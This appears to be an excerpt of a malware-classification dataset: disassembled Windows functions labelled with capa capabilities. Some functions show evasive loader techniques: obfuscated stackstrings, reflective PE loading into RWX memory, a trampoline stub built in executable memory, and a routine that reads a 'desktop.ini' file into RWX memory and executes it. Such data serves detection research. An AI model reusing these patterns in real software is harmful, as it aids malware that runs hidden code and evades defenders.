joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100010a0
Capabilities:
Contain obfuscated stackstrings
Read file via mapping

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x320
sub eax, 0
push ebx
push esi
je 0x100012ab
dec eax
jne 0x100012c0
cmp dword [esp + 0x334], 1
je 0x10001296
lea eax, [esp + 8]
mov bl, 0x6c
push eax
mov byte [esp + 0xc], 0x54
mov byte [esp + 0xd], 0x65
mov byte [esp + 0xe], 0x72
mov byte [esp + 0xf], 0x53
mov byte [esp + 0x10], 0x61
mov byte [esp + 0x11], 0x66
mov byte [esp + 0x12], 0x65
mov byte [esp + 0x13], 0x2e
mov byte [esp + 0x14], 0x64
mov byte [esp + 0x15], bl
mov byte [esp + 0x16], bl
mov byte [esp + 0x17], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x10001277
mov al, 0x5f
mov cl, 0x69
mov byte [esp + 0x28], 0x47
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x6f
mov byte [esp + 0x2b], 0x62
mov byte [esp + 0x2c], 0x61
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x5c
mov byte [esp + 0x2f], 0x73
mov byte [esp + 0x30], 0x68
mov byte [esp + 0x31], 0x61
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x65
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0x66
mov byte [esp + 0x36], cl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 0x65
mov byte [esp + 0x39], al
mov byte [esp + 0x3a], cl
mov byte [esp + 0x3b], 0x6e
mov byte [esp + 0x3c], 0x70
mov byte [esp + 0x3d], 0x75
mov byte [esp + 0x3e], 0x74
mov byte [esp + 0x3f], al
mov byte [esp + 0x40], 0x66
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x61
mov byte [esp + 0x43], 0x67
mov byte [esp + 0x44], al
mov byte [esp + 0x45], 0x25
mov byte [esp + 0x46], 0x64
mov byte [esp + 0x47], 0
mov byte [esp + 0x48], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [esp + 0x28]
push eax
lea edx, [esp + 0x22c]
push ecx
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 0x228]
push eax
push 0
push 0xf001f
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov esi, eax
test esi, esi
je 0x10001277
push 0
push 0
push 0
push 6
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ebx, eax
test ebx, ebx
je 0x10001263
cmp dword [ebx], 0
jne 0x1000125c
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x12d]
mov byte [esp + 0x12c], 0
mov edx, dword [esp + 0x330]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x12c]
push 0x100
push ecx
push edx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x12c]
mov dword [ebx], 1
push eax
call fcn.100039a0
add esp, 4
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
xor eax, eax
pop ebx
add esp, 0x320
ret 0xc
mov ecx, dword [esp + 0x32c]
push ecx
call fcn.10001000
add esp, 4
test eax, eax
jne 0x10001296
pop esi
pop ebx
add esp, 0x320
ret 0xc
call fcn.100012d0
pop esi
mov eax, 1
pop ebx
add esp, 0x320
ret 0xc
mov edx, dword [esp + 0x32c]
push edx
call fcn.10001080
add esp, 4
call fcn.10001ed0
pop esi
mov eax, 1
pop ebx
add esp, 0x320
ret 0xc
Function at 0x100012d0
Capabilities:
Create thread

Disassembly:
push ecx
lea eax, [esp]
mov dword [esp], 0
push eax
push 0
push 0
push 0x10001310
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
test eax, eax
je 0x100012ff
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret
Function at 0x10001bd0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebp
push esi
mov cl, 0x50
mov al, 0x74
push edi
mov byte [esp + 0xc], 0x7a
mov byte [esp + 0xd], 0x62
mov byte [esp + 0xe], 0x63
mov byte [esp + 0xf], 0x64
mov byte [esp + 0x10], 0x65
mov byte [esp + 0x11], 0x66
mov byte [esp + 0x12], 0x67
mov byte [esp + 0x13], cl
mov byte [esp + 0x14], 0x4a
mov byte [esp + 0x15], 0x4b
mov byte [esp + 0x16], 0x4c
mov byte [esp + 0x17], al
mov byte [esp + 0x18], 0x6a
mov byte [esp + 0x19], 0x4f
mov byte [esp + 0x1a], cl
mov byte [esp + 0x1b], 0x51
mov byte [esp + 0x1c], 0x72
mov byte [esp + 0x1d], 0x73
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x75
mov byte [esp + 0x20], 0x76
mov byte [esp + 0x21], 0x77
mov byte [esp + 0x22], 0x78
mov byte [esp + 0x23], 0x79
mov byte [esp + 0x24], 0x5a
mov byte [esp + 0x25], 0x41
mov byte [esp + 0x26], 0x59
mov byte [esp + 0x27], 0x43
mov byte [esp + 0x28], 0x44
mov byte [esp + 0x29], 0x45
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x47
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
mov ebp, dword [sym.imp.MSVCRT.dll_rand]
add esp, 4
call ebp
mov esi, eax
and esi, 0x80000007
jns 0x10001c9d
dec esi
or esi, 0xfffffff8
inc esi
add esi, 8
xor edi, edi
test esi, esi
jle 0x10001cd3
push ebx
mov ebx, dword [esp + 0x34]
call ebp
and eax, 0x8000001f
jns 0x10001cb9
dec eax
or eax, 0xffffffe0
inc eax
mov al, byte [esp + eax + 0x10]
inc al
mov byte [edi + ebx], al
inc edi
cmp edi, esi
jl 0x10001cab
mov byte [esi + ebx], 0
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x20
ret
mov ecx, dword [esp + 0x30]
pop edi
mov byte [esi + ecx], 0
pop esi
pop ebp
add esp, 0x20
ret

Function at 0x10001fa0
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 8]
sub esp, 0x60
test eax, eax
push edi
je 0x10001fd4
push 0
push 0
push 0
push 0x10002590
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
pop edi
add esp, 0x60
ret 8
mov edi, 0x10006070
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
jne 0x10001fcb
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
not eax
push eax
lea eax, [esp + 0xc]
push 0x1000501c
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
mov ecx, 0xf
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x34]
lea edx, [esp + 0x14]
push ecx
push edx
stosb byte es:[edi], al
call fcn.100030f0
lea edi, [esp + 0x3c]
or ecx, 0xffffffff
xor eax, eax
add esp, 0x14
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, 0x10006070
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
xor eax, eax
rep movsb byte es:[edi], byte [esi]
pop esi
pop edi
add esp, 0x60
ret 8
Function at 0x10002680
Capabilities:
Hash data with md5

Disassembly:
mov edx, dword [esp + 4]
push esi
mov esi, dword [esp + 0xc]
push edi
mov edi, esi
or ecx, 0xffffffff
xor eax, eax
mov dword [edx], 0x67452301
mov dword [edx + 4], 0xefcdab89
mov dword [edx + 8], 0x98badcfe
mov dword [edx + 0xc], 0x10325476
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [edx + 0x14]
mov dword [edx + 0x10], ecx
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
ret
Function at 0x10003140
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0xdc
mov ecx, dword [esp + 0xe0]
push ebx
push ebp
push esi
mov eax, dword [ecx + 0x3c]
push edi
add eax, ecx
mov ebp, dword [eax + 0x78]
mov eax, dword [eax + 0x7c]
mov dword [esp + 0x1c], eax
mov eax, dword [ecx + ebp + 0x24]
mov edi, dword [ecx + ebp + 0x1c]
mov edx, dword [ecx + ebp + 0x20]
mov ebx, dword [ecx + ebp + 0x18]
mov esi, dword [ecx + ebp + 0x10]
add eax, ecx
mov dword [esp + 0x20], eax
mov eax, dword [esp + 0xf4]
add edi, ecx
add edx, ecx
test eax, 0xffff0000
mov dword [esp + 0x18], edi
jne 0x100031b2
cmp eax, esi
jb 0x10003211
mov edx, dword [ecx + ebp + 0x14]
lea edx, [edx + esi - 1]
cmp eax, edx
ja 0x10003211
sub eax, esi
mov eax, dword [edi + eax*4]
pop edi
pop esi
pop ebp
add eax, ecx
pop ebx
add esp, 0xdc
ret
test ebx, ebx
mov dword [esp + 0x10], 0
jle 0x10003211
mov dword [esp + 0x14], edx
mov esi, dword [edx]
mov edi, eax
add esi, ecx
mov bl, byte [esi]
mov dl, bl
cmp bl, byte [edi]
jne 0x100031ec
test dl, dl
je 0x100031e8
mov bl, byte [esi + 1]
mov dl, bl
cmp bl, byte [edi + 1]
jne 0x100031ec
add esi, 2
add edi, 2
test dl, dl
jne 0x100031c8
xor edx, edx
jmp 0x100031f1
sbb edx, edx
sbb edx, 0xffffffff
test edx, edx
je 0x1000321e
mov esi, dword [esp + 0x10]
mov edx, dword [esp + 0x14]
mov edi, dword [ecx + ebp + 0x18]
inc esi
add edx, 4
cmp esi, edi
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], edx
jl 0x100031c2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xdc
ret
mov edx, dword [esp + 0x20]
mov esi, dword [esp + 0x10]
xor eax, eax
mov ax, word [edx + esi*2]
mov edx, dword [esp + 0x18]
mov esi, dword [edx + eax*4]
lea eax, [ecx + ebp]
add esi, ecx
cmp esi, eax
jb 0x100032dd
mov edx, dword [esp + 0x1c]
add edx, ebp
add edx, ecx
cmp esi, edx
ja 0x100032dd
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x89]
mov byte [esp + 0x88], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [esp + 0x24]
push esi
push eax
call edi
lea ecx, [esp + 0x24]
push 0x2e
push ecx
call dword [sym.imp.MSVCRT.dll_strchr]
add esp, 8
test eax, eax
jne 0x100032af
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xdc
ret
mov byte [eax], 0
inc eax
lea edx, [esp + 0x88]
push eax
push edx
call edi
lea eax, [esp + 0x24]
push str..dll
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
jne 0x100032ea
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xdc
ret
lea edx, [esp + 0x88]
push edx
push eax
call fcn.10003140
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xdc
ret
Function at 0x10003310
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, dword [0x10006180]
sub esp, 0x420
test eax, eax
push esi
jne 0x100033c5
mov al, 0x4c
mov cl, 0x61
mov byte [esp + 4], al
mov byte [esp + 8], al
mov al, 0x72
mov byte [esp + 5], 0x6f
mov byte [esp + 0xb], al
mov byte [esp + 0xd], al
lea eax, [esp + 4]
mov byte [esp + 6], cl
push eax
push str.kernel32.dll
mov byte [esp + 0xf], 0x64
mov byte [esp + 0x11], 0x69
mov byte [esp + 0x12], 0x62
mov byte [esp + 0x14], cl
mov byte [esp + 0x16], 0x79
mov byte [esp + 0x17], 0x57
mov byte [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call fcn.10003140
add esp, 8
test eax, eax
je 0x100033e6
mov cl, 0x8b
add eax, 5
mov byte [0x10006174], cl
mov byte [0x10006175], 0xff
mov byte [0x10006176], 0x55
mov byte [0x10006177], cl
mov byte [0x10006178], 0xec
mov byte [0x10006179], 0x68
mov dword [0x1000617a], eax
mov byte [0x1000617e], 0xc3
mov dword [0x10006180], 1
push 0x40
push 0x3000
push 0xb
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x100033fb
pop esi
add esp, 0x420
ret 4
mov eax, dword [0x10006180]
test eax, eax
jne 0x100033c5
xor eax, eax
pop esi
add esp, 0x420
ret 4
mov edx, dword [esp + 0x428]
push edi
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x2a]
mov word [esp + 0x28], 0
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x28]
push 0x200
push ecx
push 0xffffffffffffffff
push edx
push 0
push 0
stosw word es:[edi], ax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [0x10006174]
mov eax, esi
mov dword [eax], ecx
mov edx, dword [0x10006178]
mov dword [eax + 4], edx
mov cx, word [0x1000617c]
mov word [eax + 8], cx
mov dl, byte [0x1000617e]
mov byte [eax + 0xa], dl
lea eax, [esp + 0x28]
push eax
call esi
push 0x8000
push 0
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_VirtualFree]
mov eax, edi
pop edi
pop esi
add esp, 0x420
ret 4
Function at 0x10003480
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0xc]
push esi
push edi
push 0x40
mov esi, dword [ebp + 0x3c]
push 0x3000
add esi, ebp
mov eax, dword [esi + 0x50]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x100034ab
pop edi
pop esi
pop ebp
pop ebx
ret
mov ecx, dword [esi + 0x54]
mov edx, dword [ebp + 0x3c]
add ecx, edx
mov esi, ebp
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [ebp + 0x3c]
add esi, ebx
push esi
push ebp
push ebx
call fcn.10003550
mov ecx, dword [esi + 0x34]
mov eax, ebx
add esp, 0xc
sub eax, ecx
je 0x100034e9
push eax
push esi
push ebx
call fcn.100035b0
add esp, 0xc
push esi
push ebx
call fcn.10003630
add esp, 8
test eax, eax
je 0x10003532
mov eax, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
push eax
push ecx
push esi
push ebx
call fcn.100036f0
add esp, 0x10
test eax, eax
je 0x10003532
mov edi, dword [esi + 0x28]
push esi
push ebx
call fcn.10003750
add esp, 8
test edi, edi
je 0x10003547
lea eax, [ebx + edi]
test eax, eax
je 0x10003532
push 1
push 1
push ebx
call eax
test eax, eax
jne 0x10003547
push 0x8000
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
ret

Function at 0x10003550
Capabilities:
Enumerate pe sections

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
xor eax, eax
xor edx, edx
mov ax, word [ebx + 0x14]
cmp word [ebx + 6], dx
lea eax, [eax + ebx + 0x18]
jbe 0x100035a0
push ebp
push esi
push edi
add eax, 0x14
mov esi, dword [eax]
mov edi, dword [esp + 0x18]
mov ebp, dword [esp + 0x14]
mov ecx, dword [eax - 4]
add esi, edi
mov edi, dword [eax - 8]
add edi, ebp
mov ebp, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
add eax, 0x28
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
xor ecx, ecx
mov cx, word [ebx + 6]
cmp edx, ecx
jl 0x1000356d
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x100039a0
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebp
push edi
push 0x10005054
push eax
xor ebp, ebp
call dword [sym.imp.MSVCRT.dll_fopen]
mov edi, eax
add esp, 8
test edi, edi
je 0x10003a2b
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_fseek]
push 2
push ebp
push edi
call esi
push edi
call dword [sym.imp.MSVCRT.dll_ftell]
push ebp
push ebp
push edi
mov ebx, eax
call esi
add esp, 0x1c
push 4
push 0x3000
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10003a1a
push edi
push ebx
push 1
push esi
call dword [sym.imp.MSVCRT.dll_fread]
push ebp
push ebp
push esi
mov word [esi], bp
call fcn.10003480
add esp, 0x1c
mov ebp, eax
push 0x8000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualFree]
push edi
call dword [sym.imp.MSVCRT.dll_fclose]
add esp, 4
mov eax, ebp
pop esi
pop ebx
pop edi
pop ebp
ret
mov eax, ebp
pop edi
pop ebp
ret
Function at 0x407e30
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor ecx, ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ecx
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004033fc
xor eax, eax
push ebp
push 0x407f09
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x407e68
mov eax, dword [ebp - 4]
call fcn.00407220
jmp 0x407e70
mov eax, dword [ebp - 4]
call fcn.00407c1c
call fcn.00404ae8
mov esi, eax
test esi, esi
jle 0x407ebc
mov ebx, 1
lea edx, [ebp - 8]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 8]
cmp byte [eax], 0x5c
jne 0x407ea6
lea edx, [ebp - 0xc]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0xc]
call fcn.00407220
jmp 0x407eb8
lea edx, [ebp - 0x10]
mov eax, ebx
call fcn.004049d0
mov eax, dword [ebp - 0x10]
call fcn.00407c1c
inc ebx
dec esi
jne 0x407e80
push 1
push dword [ebp - 4]
push 0x407f20
lea edx, [ebp - 0x18]
xor eax, eax
call fcn.00406f84
push dword [ebp - 0x18]
lea eax, [ebp - 0x14]
mov edx, 3
call fcn.004032cc
mov eax, dword [ebp - 0x14]
call fcn.0040340c
push eax
call sub.kernel32.dll_WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x407f10
lea eax, [ebp - 0x18]
mov edx, 6
call fcn.004030b8
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebx
push esi
mov ebx, 0x10003028
xor esi, esi
push edi
cmp ebx, 0x10002034
jne 0x1000116a
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_MessageBoxA]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x10002038]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x10001172
push 1
push esi
push esi
push ebx
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + 0x1000203c]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, si
jne 0x1000119d
push 0x40
mov eax, 0x1000
push eax
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
lea edi, [ebx - 2]
mov ax, word [edi + 2]
add edi, 2
cmp ax, si
jne 0x100011cb
push 5
pop ecx
mov esi, str.sktop.ini
rep movsd dword es:[edi], dword [esi]
xor esi, esi
push esi
push 0x80
push 3
push esi
push 1
push 0x80000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000301c], eax
cmp eax, 0xffffffff
je 0x10001222
push esi
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop edi
pop esi
pop ebx
ret 0x10
Function at 0x10049a4
Capabilities:
Check os version

Disassembly:
mov edi, edi
push esi
push edi
mov esi, ecx
push esi
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea edx, [esi + 0x18]
push 7
xor eax, eax
pop ecx
mov edi, edx
rep stosd dword es:[edi], eax
and dword [esi + 0x28], eax
and dword [esi + 0x34], eax
pop edi
mov eax, esi
mov dword [edx], 0x10
pop esi
ret

Function at 0x1005916
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp ebx, 0x400
push esi
push edi
mov esi, ecx
jle 0x1005936
lea eax, [ebx + ebx]
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edi, eax
jmp 0x1005939
lea edi, [esi + 0xc]
test edi, edi
jne 0x1005941
xor al, al
jmp 0x100597c
cmp byte [ebp + 0xc], 0
je 0x1005965
cmp dword [esi], edi
je 0x1005965
mov eax, dword [esi + 4]
cmp ebx, eax
jge 0x1005954
mov eax, ebx
test eax, eax
je 0x1005965
mov ecx, dword [esi]
dec eax
mov cx, word [ecx + eax*2]
mov word [edi + eax*2], cx
jne 0x1005958
mov eax, dword [esi]
lea ecx, [esi + 0xc]
cmp eax, ecx
je 0x1005975
push eax
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [esi], edi
mov dword [esi + 4], ebx
mov al, 1
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x1005a7c
Capabilities:
Create process on windows
Query or enumerate registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0x7fffffff
jbe 0x1005a85
mov eax, 0x80070057
pop ebp
ret
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.01004282
pop ebp
ret
Function at 0x1007678
Capabilities:
Set current directory

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
cmp dword [ebp + 0xc], 0
push esi
je 0x1007678
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
mov eax, dword [0x101320c]
lea eax, [eax + esi + 2]
push 1
push eax
mov ecx, 0x10111f0
call fcn.01005911
test al, al
je 0x100766d
mov eax, dword [0x101320c]
mov ecx, dword [0x10111f0]
inc dword [0x101320c]
push dword [ebp + 0xc]
mov word [ecx + eax*2], 0x20
mov ecx, dword [0x101320c]
lea eax, [esi + 1]
push eax
mov eax, dword [0x10111f0]
lea eax, [eax + ecx*2]
push eax
call fcn.01005a26
test eax, eax
jge 0x1007672
xor eax, eax
inc eax
jmp 0x100767a
add dword [0x101320c], esi
xor eax, eax
pop esi
pop ebp
ret

Function at 0x1008168
Capabilities:
Check os version
Query or enumerate registry value
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x1012d80]
push ebx
push esi
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x220], eax
lea eax, [ebp - 0x20c]
mov esi, 0x104
push edi
mov dword [ebp - 0x214], esi
mov dword [ebp - 0x218], eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, esi
jle 0x100804b
push 0
push eax
lea ecx, [ebp - 0x218]
call fcn.010057b6
test al, al
jne 0x100804b
push 0xe
pop esi
jmp 0x1008170
push edi
push dword [ebp - 0x214]
push dword [ebp - 0x218]
call fcn.01005a26
test eax, eax
jl 0x1008043
xor ebx, ebx
xor esi, esi
cmp edi, ebx
mov eax, edi
je 0x100808b
mov cx, word [edi]
cmp cx, bx
je 0x1008087
push eax
call fcn.01004ae7
pop ecx
mov cx, word [eax]
cmp cx, 0x5c
jne 0x100806e
mov esi, eax
jmp 0x100806e
cmp esi, ebx
jne 0x1008093
xor esi, esi
inc esi
jmp 0x1008170
mov eax, dword [ebp - 0x218]
sub esi, edi
sar esi, 1
push ebx
mov word [eax + esi*2], bx
call dword [sym.imp.ole32.dll_CoInitialize]
mov esi, eax
cmp esi, ebx
jne 0x1008170
push 8
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
test eax, eax
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x21c], eax
mov ebx, 0x80070000
je 0x10080e1
push dword [ebp - 0x218]
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
test eax, eax
jne 0x10080f9
call edi
test eax, eax
jg 0x10080ed
call edi
mov esi, eax
jmp 0x10080f9
call edi
mov esi, eax
and esi, 0xffff
or esi, ebx
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetThreadToken]
test eax, eax
jne 0x100811f
call edi
test eax, eax
jg 0x1008113
call edi
mov esi, eax
jmp 0x100811f
call edi
mov esi, eax
and esi, 0xffff
or esi, ebx
test esi, esi
jne 0x1008155
push dword [ebp - 0x220]
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
jne 0x1008151
call edi
test eax, eax
jg 0x1008143
call edi
jmp 0x1008153
call edi
mov esi, eax
and esi, 0xffff
or esi, ebx
jmp 0x1008155
call eax
mov esi, eax
cmp dword [ebp - 0x21c], 0
je 0x100816a
push dword [ebp - 0x21c]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
call dword [sym.imp.ole32.dll_CoUninitialize]
lea ecx, [ebp - 0x218]
call fcn.01005988
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
pop esi
pop ebx
call fcn.0100f1d6
leave
ret
Function at 0x100845f
Capabilities:
Compare security identifiers

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xd4
mov eax, dword [0x1012d80]
push esi
mov dword [ebp - 4], eax
lea eax, [ebp - 0xd4]
push eax
push 0x10013a4
push 4
push 0
mov esi, 0x10013d4
push esi
call dword [0x1012234]
mov edx, eax
test edx, edx
je 0x10084c8
and word [ebp - 0xcc], 0
push edi
push 0x31
pop ecx
xor eax, eax
lea edi, [ebp - 0xca]
rep stosd dword es:[edi], eax
push edx
push 0x1001b68
stosw word es:[edi], ax
lea eax, [ebp - 0xcc]
push reloc.ADVAPI32.dll_ControlService
push eax
call fcn.01005a9e
add esp, 0x10
test eax, eax
pop edi
jl 0x10084c4
lea eax, [ebp - 0xcc]
push 0
push eax
call fcn.010081c5
pop ecx
pop ecx
xor eax, eax
jmp 0x10084f4
mov eax, dword [ebp - 0xd4]
and dword [ebp - 0xd0], 0
mov ecx, dword [eax]
lea edx, [ebp - 0xd0]
push edx
push esi
push eax
call dword [ecx]
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
push eax
call dword [ecx + MsiGetPatchInfoExW]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [ebp - 4]
pop esi
call fcn.0100f1d6
leave
ret